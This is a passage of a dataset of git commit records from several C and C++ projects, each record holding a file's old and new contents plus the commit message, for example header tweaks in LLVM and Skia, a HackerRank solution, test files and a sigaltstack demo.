composition.\n*\/\n\n#include <stdio.h>\n#include <string.h>\n#include <math.h>\n#include <stdlib.h>\n\nint main() {\n    int n;\n    scanf(\"%d\",&n);\n    char rock [n][101];\n    int i,j;\n    \n    for(i=0; i<n; i++){\n        scanf(\"%s\",rock[i]);\n    }\n    \n    int array[26];\n    for(j=0 ; j<26; j++){\n        array[j]=0;\n    }\n    char char_int = 97;\n    char* result = NULL; \n    for (j = 0 ; j<26 ; j++){\n        for(i =0 ; i<n ; i++){\n            result = strchr(rock[i],char_int);  \n            if(result != NULL){\n                array[j]++;\n            }\n         \n        }\n            char_int ++;\n    }\n    int count =0;\n    for(j=0 ; j<26; j++){\n        if (array[j]== n){\n            count++;\n        }\n    }\n    printf(\"%d\",count);    \n    \n    \n    return 0;\n}\n","subject":"Add Gemstone which makes use of alphabet array and strchr","message":"Add Gemstone which makes use of alphabet array and strchr\n","lang":"C","license":"mit","repos":"anaghajoshi\/HackerRank"}
{"commit":"d48276b0554488cfc3ff58646dae7e5d71f6c32d","old_file":"bst.h","new_file":"bst.h","old_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Preorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Postorder_Tree_Walk(BST* T, void (f)(void*));\nBSTNode* BST_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Iterative_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Preorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Postorder_Tree_Walk(BST* T, void (f)(void*));\nBSTNode* BST_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Iterative_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Tree_Minimum(BSTNode* n);\nBSTNode* BST_Tree_Maximum(BSTNode* n);\n\n#endif","subject":"Add BST Tree Min\/Max function declaration","message":"Add BST Tree Min\/Max function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"7e0e8ab88d3607daf5fc06c13f9d85c95b82eeb2","old_file":"src\/script_handle.h","new_file":"src\/script_handle.h","old_contents":"#pragma once\n#include <v8.h>\n#include \"isolate\/holder.h\"\n#include \"transferable_handle.h\"\n#include <memory>\n\nnamespace ivm {\n\nclass ScriptHandle : public TransferableHandle {\n\tprivate:\n\t\tclass ScriptHandleTransferable : public Transferable {\n\t\t\tprivate:\n\t\t\t\tstd::shared_ptr<IsolateHolder> isolate;\n\t\t\t\tstd::shared_ptr<v8::Persistent<v8::UnboundScript>> script;\n\t\t\tpublic:\n\t\t\t\tScriptHandleTransferable(\n\t\t\t\t\tstd::shared_ptr<IsolateHolder> isolate,\n\t\t\t\t\tstd::shared_ptr<v8::Persistent<v8::UnboundScript>> script\n\t\t\t\t);\n\t\t\t\tv8::Local<v8::Value> TransferIn() final;\n\t\t};\n\n\t\tstd::shared_ptr<IsolateHolder> isolate;\n\t\tstd::shared_ptr<v8::Persistent<v8::UnboundScript>> script;\n\n\tpublic:\n\t\tScriptHandle(\n\t\t\tstd::shared_ptr<IsolateHolder> isolate,\n\t\t\tstd::shared_ptr<v8::Persistent<v8::UnboundScript>> script\n\t\t);\n\n\t\tstatic IsolateEnvironment::IsolateSpecific<v8::FunctionTemplate>& TemplateSpecific();\n\t\tstatic v8::Local<v8::FunctionTemplate> Definition();\n\t\tstd::unique_ptr<Transferable> TransferOut() final;\n\n\t\ttemplate <bool async>\n\t\tv8::Local<v8::Value> Run(class ContextHandle* context_handle, v8::MaybeLocal<v8::Object> maybe_options);\n};\n\n} \/\/ namespace ivm\n","new_contents":"#pragma once\n#include <v8.h>\n#include \"isolate\/holder.h\"\n#include \"transferable_handle.h\"\n#include <memory>\n\nnamespace ivm {\n\nclass ContextHandle;\n\nclass ScriptHandle : public TransferableHandle {\n\tprivate:\n\t\tclass ScriptHandleTransferable : public Transferable {\n\t\t\tprivate:\n\t\t\t\tstd::shared_ptr<IsolateHolder> isolate;\n\t\t\t\tstd::shared_ptr<v8::Persistent<v8::UnboundScript>> script;\n\t\t\tpublic:\n\t\t\t\tScriptHandleTransferable(\n\t\t\t\t\tstd::shared_ptr<IsolateHolder> isolate,\n\t\t\t\t\tstd::shared_ptr<v8::Persistent<v8::UnboundScript>> script\n\t\t\t\t);\n\t\t\t\tv8::Local<v8::Value> TransferIn() final;\n\t\t};\n\n\t\tstd::shared_ptr<IsolateHolder> isolate;\n\t\tstd::shared_ptr<v8::Persistent<v8::UnboundScript>> script;\n\n\tpublic:\n\t\tScriptHandle(\n\t\t\tstd::shared_ptr<IsolateHolder> isolate,\n\t\t\tstd::shared_ptr<v8::Persistent<v8::UnboundScript>> script\n\t\t);\n\n\t\tstatic IsolateEnvironment::IsolateSpecific<v8::FunctionTemplate>& TemplateSpecific();\n\t\tstatic v8::Local<v8::FunctionTemplate> Definition();\n\t\tstd::unique_ptr<Transferable> TransferOut() final;\n\n\t\ttemplate <bool async>\n\t\tv8::Local<v8::Value> Run(ContextHandle* context_handle, v8::MaybeLocal<v8::Object> maybe_options);\n};\n\n} \/\/ namespace ivm\n","subject":"Fix stupid msvc compile error","message":"Fix stupid msvc compile error\n\nIt thinks the forward declaration defines a template. Clang and GCC do\nnot agree.\n","lang":"C","license":"isc","repos":"laverdet\/isolated-vm,laverdet\/isolated-vm,laverdet\/isolated-vm,laverdet\/isolated-vm"}
{"commit":"c8a20cabb71b249072a001ccf9c1c306640a511a","old_file":"include\/llvm\/MC\/MCParser\/MCAsmParserUtils.h","new_file":"include\/llvm\/MC\/MCParser\/MCAsmParserUtils.h","old_contents":"\/\/===------ llvm\/MC\/MCAsmParserUtils.h - Asm Parser Utilities ---*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_MC_MCPARSER_MCASMPARSERUTILS_H\n#define LLVM_MC_MCPARSER_MCASMPARSERUTILS_H\n\nnamespace llvm {\nnamespace MCParserUtils {\n\n\/\/\/ Parse a value expression and return whether it can be assigned to a symbol\n\/\/\/ with the given name.\n\/\/\/\n\/\/\/ On success, returns false and sets the Symbol and Value output parameters.\nbool parseAssignmentExpression(StringRef Name, bool allow_redef,\n                               MCAsmParser &Parser, MCSymbol *&Symbol,\n                               const MCExpr *&Value);\n\n} \/\/ namespace MCParserUtils\n} \/\/ namespace llvm\n\n#endif\n","new_contents":"\/\/===------ llvm\/MC\/MCAsmParserUtils.h - Asm Parser Utilities ---*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_MC_MCPARSER_MCASMPARSERUTILS_H\n#define LLVM_MC_MCPARSER_MCASMPARSERUTILS_H\n\nnamespace llvm {\n\nclass MCAsmParser;\nclass MCExpr;\nclass MCSymbol;\nclass StringRef;\n\nnamespace MCParserUtils {\n\n\/\/\/ Parse a value expression and return whether it can be assigned to a symbol\n\/\/\/ with the given name.\n\/\/\/\n\/\/\/ On success, returns false and sets the Symbol and Value output parameters.\nbool parseAssignmentExpression(StringRef Name, bool allow_redef,\n                               MCAsmParser &Parser, MCSymbol *&Symbol,\n                               const MCExpr *&Value);\n\n} \/\/ namespace MCParserUtils\n} \/\/ namespace llvm\n\n#endif\n","subject":"Make header parse standalone. NFC.","message":"Make header parse standalone. NFC.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@240814 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"e1ee5b52f528babb241950d4ec57927933a46a6c","old_file":"tests\/compiler\/longlong.c","new_file":"tests\/compiler\/longlong.c","old_contents":"","new_contents":"#include <stdio.h>\n\ntypedef unsigned int fixed_t;\n\nfixed_t multiplyFixed(fixed_t a, fixed_t b)\n{\n    return ((long long) a * (long long) b) >> 16;\n}\n\nint main(int argc, const char *argv[])\n{\n\tprintf(\"%08x\\n\", multiplyFixed(0xffffe350, 0x009fe0c6)); \/\/ CHECK: e0b4157f\n}\n","subject":"Add 64 bit multiplication test","message":"Add 64 bit multiplication test\n","lang":"C","license":"apache-2.0","repos":"hoangt\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor,hoangt\/NyuziProcessor,FulcronZ\/NyuziProcessor,hoangt\/NyuziProcessor,jbush001\/NyuziProcessor,hoangt\/NyuziProcessor,FulcronZ\/NyuziProcessor,FulcronZ\/NyuziProcessor,jbush001\/NyuziProcessor,FulcronZ\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor"}
{"commit":"f8e41d53d4a604cb4a398a4002b2f2037f23c135","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 55\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 57\n#endif\n","subject":"Update Skia milestone to 57","message":"Update Skia milestone to 57\n\nMilestone that we typically update, but note that change from 55->56 was missed, will cherry pick to branch.\nThis change gets current file caught up to show working milestone after branch.\n\nGOLD_TRYBOT_URL= https:\/\/gold.skia.org\/search?issue=4927\n\nChange-Id: If10e0db2d4acc908f5da7c4e9d30497deef6a2ff\nReviewed-on: https:\/\/skia-review.googlesource.com\/4927\nReviewed-by: Brian Salomon <61fabaaf0876044aeedfd8e351e485c028d69e7b@google.com>\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,google\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,rubenvb\/skia,google\/skia,google\/skia,rubenvb\/skia,google\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia"}
{"commit":"21af464aecd8de83858acad3e2a48ad5c968fcf5","old_file":"src\/background\/direction.c","new_file":"src\/background\/direction.c","old_contents":"#include \"direction.h\"\n\n#include <assert.h>\n#include <base\/base.h>\n\n\nenum direction\ndirection_90_degrees_left(enum direction direction)\n{\n    assert(direction_is_valid(direction));\n    return (direction + 270) % 360;\n}\n\n\nenum direction\ndirection_90_degrees_right(enum direction direction)\n{\n    assert(direction_is_valid(direction));\n    return (direction + 90) % 360;\n}\n\n\nextern inline bool\ndirection_is_valid(unsigned direction);\n\n\nchar const *\ndirection_name(enum direction direction)\n{\n    assert(direction_is_valid(direction));\n    switch (direction) {\n        case direction_north: return \"north\";\n        case direction_northeast: return \"northeast\";\n        case direction_east: return \"east\";\n        case direction_southeast: return \"southeast\";\n        case direction_south: return \"south\";\n        case direction_southwest: return \"southwest\";\n        case direction_west: return \"west\";\n        case direction_northwest: return \"northwest\";\n    }\n}\n\n\nenum direction\ndirection_opposite(enum direction direction)\n{\n    assert(direction_is_valid(direction));\n    return (direction + 180) % 360;\n}\n\n\nenum direction\ndirection_random(struct rnd *rnd)\n{\n    return rnd_next_uniform_value(rnd, 8) * 45;\n}\n","new_contents":"#include \"direction.h\"\n\n#include <assert.h>\n#include <base\/base.h>\n\n\nenum direction\ndirection_90_degrees_left(enum direction direction)\n{\n    assert(direction_is_valid(direction));\n    return (direction + 270) % 360;\n}\n\n\nenum direction\ndirection_90_degrees_right(enum direction direction)\n{\n    assert(direction_is_valid(direction));\n    return (direction + 90) % 360;\n}\n\n\nextern inline bool\ndirection_is_valid(unsigned direction);\n\n\nchar const *\ndirection_name(enum direction direction)\n{\n    assert(direction_is_valid(direction));\n    switch (direction) {\n        case direction_north: return \"north\";\n        case direction_northeast: return \"northeast\";\n        case direction_east: return \"east\";\n        case direction_southeast: return \"southeast\";\n        case direction_south: return \"south\";\n        case direction_southwest: return \"southwest\";\n        case direction_west: return \"west\";\n        case direction_northwest: return \"northwest\";\n    }\n    return \"north\";\n}\n\n\nenum direction\ndirection_opposite(enum direction direction)\n{\n    assert(direction_is_valid(direction));\n    return (direction + 180) % 360;\n}\n\n\nenum direction\ndirection_random(struct rnd *rnd)\n{\n    return rnd_next_uniform_value(rnd, 8) * 45;\n}\n","subject":"Fix \"control reaches end of non-void function\" warning.","message":"Fix \"control reaches end of non-void function\" warning.\n\nOn the Debian \/ GCC build with `-Wall` set, the `direction_name()`\nfunction causes this warning.  Add a catch-all return value after the\nexhaustive `switch`.\n","lang":"C","license":"bsd-2-clause","repos":"donmccaughey\/FiendsAndFortune,donmccaughey\/FiendsAndFortune,donmccaughey\/FiendsAndFortune"}
{"commit":"bc552606f319023f360417c596f5b6da4c91fdd2","old_file":"sigaltstack.c","new_file":"sigaltstack.c","old_contents":"#define _XOPEN_SOURCE 700\n\n#include <stdio.h>\n#include <signal.h>\n#include <unistd.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <setjmp.h>\n\njmp_buf try;\n\nvoid handler(int sig) {\n  static int i = 0;\n\n  printf(\"stack overflow %d\\n\", i);\n  longjmp(try, ++i);\n  assert(0);\n}\n\nunsigned recurse(unsigned x) {\n    return recurse(x)+1;    \n}\n\nint main() {\n  char* stack;\n  stack = malloc(sizeof(stack) * SIGSTKSZ);\n  stack_t ss = {\n    .ss_size = SIGSTKSZ,\n    .ss_sp = stack,\n  };\n  struct sigaction sa = {\n    .sa_handler = handler,\n    .sa_flags = SA_ONSTACK\n  };\n\n  sigaltstack(&ss, 0);\n  sigfillset(&sa.sa_mask);\n  sigaction(SIGSEGV, &sa, 0);\n\n  if (setjmp(try) < 3) {\n    recurse(0);\n  } else {\n    printf(\"caught exception!\\n\");    \n  }\n\n  return 0;\n}\n","new_contents":"#define _XOPEN_SOURCE 700\n\n#include <stdio.h>\n#include <signal.h>\n#include <unistd.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <setjmp.h>\n\njmp_buf try;\n\nvoid handler(int sig) {\n  static int i = 0;\n\n  printf(\"stack overflow %d\\n\", i);\n  longjmp(try, ++i);\n  assert(0);\n}\n\nunsigned recurse(unsigned x) {\n    return recurse(x)+1;    \n}\n\nint main() {\n  char* stack;\n  stack = malloc(sizeof(stack) * SIGSTKSZ);\n  stack_t ss = {\n    .ss_size = SIGSTKSZ,\n    .ss_sp = stack,\n  };\n  struct sigaction sa = {\n    .sa_handler = handler,\n    .sa_flags = SA_ONSTACK\n  };\n\n  sigaltstack(&ss, 0);\n  sigfillset(&sa.sa_mask);\n  sigaction(SIGALRM, &sa, 0);\n\n  raise(SIGALRM);\n  return 0;\n\n  if (setjmp(try) < 3) {\n    recurse(0);\n  } else {\n    printf(\"caught exception!\\n\");    \n  }\n\n  return 0;\n}\n","subject":"Switch to SIGLARM, to allow seamless gdb usage","message":"Switch to SIGLARM, to allow seamless gdb usage\n","lang":"C","license":"apache-2.0","repos":"danluu\/setjmp-longjmp-ucontext-snippets,danluu\/setjmp-longjmp-ucontext-snippets"}
{"commit":"29b6f3869ed2b4ee706b604dbd563a302d4bbba9","old_file":"test\/Index\/c-index-crasher-rdar_7487294.c","new_file":"test\/Index\/c-index-crasher-rdar_7487294.c","old_contents":"\/\/ RUN: c-index-test -test-load-source local %s 2>&1 | FileCheck %s\n\n\/\/ This is invalid source.  Previously a double-free caused this\n\/\/ example to crash c-index-test.\n\nint foo(int x) {\n  int y[x * 3];\n  help\n};\n\n\/\/ CHECK: 8:3: error: use of undeclared identifier 'help'\n\/\/ CHECK:  help\n\/\/ CHECK: 12:102: error: expected '}'\n","new_contents":"\/\/ RUN: %clang-cc1 -fsyntax-only %s 2>&1 | FileCheck %s\n\n\/\/ IMPORTANT: This test case intentionally DOES NOT use --disable-free.  It\n\/\/ tests that we are properly reclaiming the ASTs and we do not have a double free.\n\/\/ Previously we tried to free the size expression of the VLA twice.\n\nint foo(int x) {\n  int y[x * 3];\n  help\n};\n\n\/\/ CHECK: 9:3: error: use of undeclared identifier 'help'\n\/\/ CHECK:  help\n\/\/ CHECK: 14:102: error: expected '}'\n","subject":"Change test case to use 'clang -cc1' (without --disable-free) instead of c-index-test (whose memory management behavior may change in the future).","message":"Change test case to use 'clang -cc1' (without --disable-free) instead of c-index-test (whose memory management behavior may change in the future).\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@92043 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"774ae7b87f85601780a9361d3ab39e37600adf5b","old_file":"3RVX\/Controllers\/Volume\/VolumeController.h","new_file":"3RVX\/Controllers\/Volume\/VolumeController.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\nclass VolumeTransformation;\n\nclass VolumeController {\npublic:\n    struct DeviceInfo {\n        std::wstring name;\n        std::wstring id;\n    };\n\n    \/\/\/ <summary>\n    \/\/\/ Retrieves the current volume level as a float, ranging from 0.0 - 1.0\n    \/\/\/ <\/summary>\n    virtual float Volume() = 0;\n\n    \/\/\/ <summary>Sets the volume level. Valid range: 0.0 - 1.0<\/summary>\n    virtual void Volume(float vol) = 0;\n\n    virtual bool Muted() = 0;\n    virtual void Muted(bool mute) = 0;\n    virtual void ToggleMute() {\n        (Muted() == true) ? Muted(false) : Muted(true);\n    }\n\n    virtual void Transformation(VolumeTransformation *transform) = 0;\n    virtual VolumeTransformation* Transformation() = 0;\n\npublic:\n    static const int MSG_VOL_CHNG = WM_APP + 1080;\n    static const int MSG_VOL_DEVCHNG = WM_APP + 1081;\n\n};","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\nclass VolumeTransformation;\n\nclass VolumeController {\npublic:\n    struct DeviceInfo {\n        std::wstring name;\n        std::wstring id;\n    };\n\n    \/\/\/ <summary>\n    \/\/\/ Retrieves the current volume level as a float, ranging from 0.0 - 1.0\n    \/\/\/ <\/summary>\n    virtual float Volume() = 0;\n\n    \/\/\/ <summary>Sets the volume level. Valid range: 0.0 - 1.0<\/summary>\n    virtual void Volume(float vol) = 0;\n\n    virtual bool Muted() = 0;\n    virtual void Muted(bool mute) = 0;\n    virtual void ToggleMute() {\n        (Muted() == true) ? Muted(false) : Muted(true);\n    }\n\n    virtual void AddTransformation(VolumeTransformation *transform) = 0;\n    virtual void RemoveTransformation(VolumeTransformation *transform) = 0;\n\npublic:\n    static const int MSG_VOL_CHNG = WM_APP + 1080;\n    static const int MSG_VOL_DEVCHNG = WM_APP + 1081;\n\n};","subject":"Change transform interface to add\/remove","message":"Change transform interface to add\/remove\n\nThis allows support for multiple transformations\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"00fc16bc4f99131e154c2e6ddb02a0c10c5369f2","old_file":"src\/testall.c","new_file":"src\/testall.c","old_contents":"","new_contents":"\/*\n \nThe MIT License (MIT)\n\nCopyright (c) 2015 Alexander Zazhigin mykeich@yandex.ru\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n*\/\n\n#include \"broadcasttalk.h\"\n#include \"threadsocket.h\"\n#include \"threadoutaudio.h\"\n#include \"threadinaudio.h\"\n#include \"maindata.h\"\n#include \"udpsocket.h\"\n\n#ifdef __ANDROID__\n#else\n\n\/* Main application *\/\nvoid main(void * arg){\n\tLOGI(\"Enter: main\\n\");\n\n\tLOGI(\"Exit: main\\n\");\n}\n#endif\n","subject":"Add test file for testing func","message":"Add test file for testing func\n","lang":"C","license":"mit","repos":"keich\/Chataka,keich\/Chataka"}
{"commit":"73606739ba6dba3ae32debf6823ea05483429e53","old_file":"src\/libc4\/include\/router.h","new_file":"src\/libc4\/include\/router.h","old_contents":"#ifndef ROUTER_H\n#define ROUTER_H\n\n#include <apr_queue.h>\n\n#include \"operator\/operator.h\"\n#include \"planner\/planner.h\"\n#include \"types\/tuple.h\"\n\ntypedef struct C4Router C4Router;\n\nC4Router *router_make(C4Runtime *c4, apr_queue_t *queue);\nvoid router_main_loop(C4Router *router);\napr_queue_t *router_get_queue(C4Router *router);\n\nvoid router_enqueue_program(apr_queue_t *queue, const char *src);\nvoid router_enqueue_tuple(apr_queue_t *queue, Tuple *tuple,\n                          TableDef *tbl_def);\n\nchar *router_enqueue_dump_table(apr_queue_t *queue, const char *table,\n                                apr_pool_t *pool);\n\n\/* Internal APIs: XXX: clearer naming *\/\nvoid router_install_tuple(C4Router *router, Tuple *tuple,\n                          TableDef *tbl_def);\nvoid router_enqueue_internal(C4Router *router, Tuple *tuple,\n                             TableDef *tbl_def);\nvoid router_enqueue_net(C4Router *router, Tuple *tuple,\n                        TableDef *tbl_def);\n\nOpChainList *router_get_opchain_list(C4Router *router, const char *tbl_name);\nvoid router_add_op_chain(C4Router *router, OpChain *op_chain);\n\n#endif  \/* ROUTER_H *\/\n","new_contents":"#ifndef ROUTER_H\n#define ROUTER_H\n\n#include <apr_queue.h>\n\n#include \"operator\/operator.h\"\n#include \"planner\/planner.h\"\n#include \"types\/tuple.h\"\n\ntypedef struct C4Router C4Router;\n\nC4Router *router_make(C4Runtime *c4, apr_queue_t *queue);\nvoid router_main_loop(C4Router *router);\napr_queue_t *router_get_queue(C4Router *router);\n\nvoid router_enqueue_program(apr_queue_t *queue, const char *src);\nvoid router_enqueue_tuple(apr_queue_t *queue, Tuple *tuple,\n                          TableDef *tbl_def);\n\nchar *router_enqueue_dump_table(apr_queue_t *queue, const char *tbl_name,\n                                apr_pool_t *pool);\n\n\/* Internal APIs: XXX: clearer naming *\/\nvoid router_install_tuple(C4Router *router, Tuple *tuple,\n                          TableDef *tbl_def);\nvoid router_enqueue_internal(C4Router *router, Tuple *tuple,\n                             TableDef *tbl_def);\nvoid router_enqueue_net(C4Router *router, Tuple *tuple,\n                        TableDef *tbl_def);\n\nOpChainList *router_get_opchain_list(C4Router *router, const char *tbl_name);\nvoid router_add_op_chain(C4Router *router, OpChain *op_chain);\n\n#endif  \/* ROUTER_H *\/\n","subject":"Tweak a function prototype in header.","message":"Tweak a function prototype in header.\n","lang":"C","license":"mit","repos":"bloom-lang\/c4,bloom-lang\/c4,bloom-lang\/c4"}
{"commit":"0c2596f9c2142d8ba52065132a2b59745cf41fb2","old_file":"inc\/Signals.h","new_file":"inc\/Signals.h","old_contents":"#include \"interface.h\"\n#include \"ecg.h\"\n#include \"AFE4400.h\"\n\nSPI_Interface afe4400_spi(spi_c2);\n\nECG ecg = ECG(1,1,4,9,PB0,4096,RA8875_BLUE,RA8875_BLACK,1000,tim3,&tft);\nPulseOx spo2 = PulseOx(6,1,3,3,&afe4400_spi,PC8,PA9,PA8,PB7,&tft);\n\nvoid enableSignalAcquisition(void) {\n    spo2.enable();\n    ecg.enable();\n}\n\nvoid connectSignalsToScreen(Screen& s) {\n    s.add(ecg.signalTrace);\n    s.add((ScreenElement*) &spo2);\n}\n","new_contents":"#include \"interface.h\"\n#include \"ecg.h\"\n#include \"AFE4400.h\"\n\nSPI_Interface afe4400_spi(spi_c2);\n\nECG ecg = ECG(1,1,4,9,PB0,4096,RA8875_BLUE,RA8875_BLACK,1000,tim3,&tft);\nPulseOx spo2 = PulseOx(5,1,4,9,&afe4400_spi,PC8,PA9,PA8,PB7,&tft);\n\nvoid enableSignalAcquisition(void) {\n    spo2.enable();\n    ecg.enable();\n}\n\nvoid connectSignalsToScreen(Screen& s) {\n    s.add(ecg.signalTrace);\n    s.add((ScreenElement*) &spo2);\n}\n","subject":"Adjust display position for pulse ox","message":"Adjust display position for pulse ox\n","lang":"C","license":"mit","repos":"ReeceStevens\/freepulse,ReeceStevens\/freepulse,ReeceStevens\/freepulse"}
{"commit":"fd48ecfb7227ce106630993137052d41de585c65","old_file":"common_video\/interface\/texture_video_frame.h","new_file":"common_video\/interface\/texture_video_frame.h","old_contents":"","new_contents":"\/*\n *  Copyright (c) 2015 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef COMMON_VIDEO_INTERFACE_TEXTURE_VIDEO_FRAME_H\n#define COMMON_VIDEO_INTERFACE_TEXTURE_VIDEO_FRAME_H\n\n#include \"webrtc\/common_video\/interface\/i420_video_frame.h\"\n\n\/\/ TODO(magjed): Remove this when all external dependencies are updated.\nnamespace webrtc {\n\ntypedef I420VideoFrame TextureVideoFrame;\n\n}  \/\/ namespace webrtc\n\n#endif  \/\/ COMMON_VIDEO_INTERFACE_TEXTURE_VIDEO_FRAME_H\n","subject":"Add intermediate TextureVideoFrame typedef for Chromium","message":"Add intermediate TextureVideoFrame typedef for Chromium\n\nBUG=1128\nR=perkj@webrtc.org\nTBR=stefan\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/42239004\n\nCr-Original-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#8630}\nCr-Mirrored-From: https:\/\/chromium.googlesource.com\/external\/webrtc\nCr-Mirrored-Commit: 